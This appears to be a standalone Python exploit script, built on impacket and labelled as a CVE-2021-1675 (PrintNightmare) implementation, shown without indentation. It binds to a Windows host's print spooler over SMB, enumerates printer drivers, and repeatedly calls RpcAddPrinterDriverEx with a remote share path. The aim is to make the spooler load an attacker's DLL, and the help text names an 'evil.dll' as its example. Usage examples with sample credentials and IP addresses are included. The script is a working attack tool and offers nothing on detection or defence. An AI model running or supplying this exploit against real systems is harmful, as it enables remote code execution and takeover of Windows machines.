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180 lines
7.6 KiB
180 lines
7.6 KiB
#!/usr/bin/python3
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from impacket.dcerpc.v5 import rprn
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from impacket.dcerpc.v5 import transport
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from impacket.dcerpc.v5.dtypes import NULL
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from impacket.structure import Structure
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import argparse
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import sys
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import pathlib
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#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
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class DRIVER_INFO_2_BLOB(Structure):
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structure = (
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('cVersion','<L'),
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('NameOffset', '<L'),
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('EnvironmentOffset', '<L'),
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('DriverPathOffset', '<L'),
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('DataFileOffset', '<L'),
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('ConfigFileOffset', '<L'),
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)
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def __init__(self, data = None):
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Structure.__init__(self, data = data)
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def fromString(self,data):
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Structure.fromString(self, data)
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self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
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self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
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self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
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self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
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self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')
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def connect(username, password, domain, lmhash, nthash, address, port):
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binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
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rpctransport = transport.DCERPCTransportFactory(binding)
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rpctransport.set_dport(port)
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rpctransport.setRemoteHost(address)
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if hasattr(rpctransport, 'set_credentials'):
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# This method exists only for selected protocol sequences.
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rpctransport.set_credentials(username, password, domain, lmhash, nthash)
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print("[*] Connecting to {0}".format(binding))
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try:
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dce = rpctransport.get_dce_rpc()
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dce.connect()
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dce.bind(rprn.MSRPC_UUID_RPRN)
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except:
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print("[-] Connection Failed")
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sys.exit(1)
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print("[+] Bind OK")
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return dce
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def getDrivers(dce, handle=NULL):
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#get drivers
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resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
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data = b''.join(resp['pDrivers'])
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#parse drivers
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blob = DRIVER_INFO_2_BLOB()
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blob.fromString(data)
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#blob.dump()
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return blob
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def main(dce, pDriverPath, share, handle=NULL):
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#build DRIVER_CONTAINER package
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container_info = rprn.DRIVER_CONTAINER()
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container_info['Level'] = 2
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container_info['DriverInfo']['tag'] = 2
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container_info['DriverInfo']['Level2']['cVersion'] = 3
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container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
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container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
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container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
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container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
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flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
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filename = share.split("\\")[-1]
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
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print("[*] Stage0: {0}".format(resp['ErrorCode']))
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
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for i in range(1, 30):
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try:
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
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print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
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if (resp['ErrorCode'] == 0):
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print("[+] Exploit Completed")
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sys.exit()
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except Exception as e:
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#print(e)
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pass
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if __name__ == '__main__':
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parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
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Example;
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./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
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./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
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""")
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parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
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parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
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parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
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group = parser.add_argument_group('authentication')
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group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
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group = parser.add_argument_group('connection')
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group.add_argument('-target-ip', action='store', metavar="ip address",
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help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
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'This is useful when target is the NetBIOS name and you cannot resolve it')
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group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
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help='Destination port to connect to SMB Server')
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if len(sys.argv)==1:
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parser.print_help()
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sys.exit(1)
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options = parser.parse_args()
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import re
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domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
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options.target).groups('')
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#In case the password contains '@'
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if '@' in address:
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password = password + '@' + address.rpartition('@')[0]
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address = address.rpartition('@')[2]
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if options.target_ip is None:
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options.target_ip = address
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if domain is None:
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domain = ''
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if password == '' and username != '' and options.hashes is None:
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from getpass import getpass
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password = getpass("Password:")
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if options.hashes is not None:
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lmhash, nthash = options.hashes.split(':')
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else:
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lmhash = ''
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nthash = ''
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#connect
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dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
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#handle = "\\\\{0}\x00".format(address)
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handle = NULL
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#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
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if not options.pDriverPath:
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try:
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blob = getDrivers(dce, handle)
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pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
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if not "FileRepository" in pDriverPath:
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print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
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print("[-] Specify pDriverPath manually")
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sys.exit(1)
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except Exception as e:
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print('[-] Failed to enumerate remote pDriverPath')
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print(str(e))
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sys.exit(1)
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else:
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pDriverPath = options.pDriverPath
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print("[+] pDriverPath Found {0}".format(pDriverPath))
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print("[*] Executing {0}".format(options.share))
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#re-run if stage0/stageX fails
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print("[*] Try 1...")
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main(dce, pDriverPath, options.share)
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print("[*] Try 2...")
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main(dce, pDriverPath,options.share)
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print("[*] Try 3...")
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main(dce, pDriverPath,options.share)
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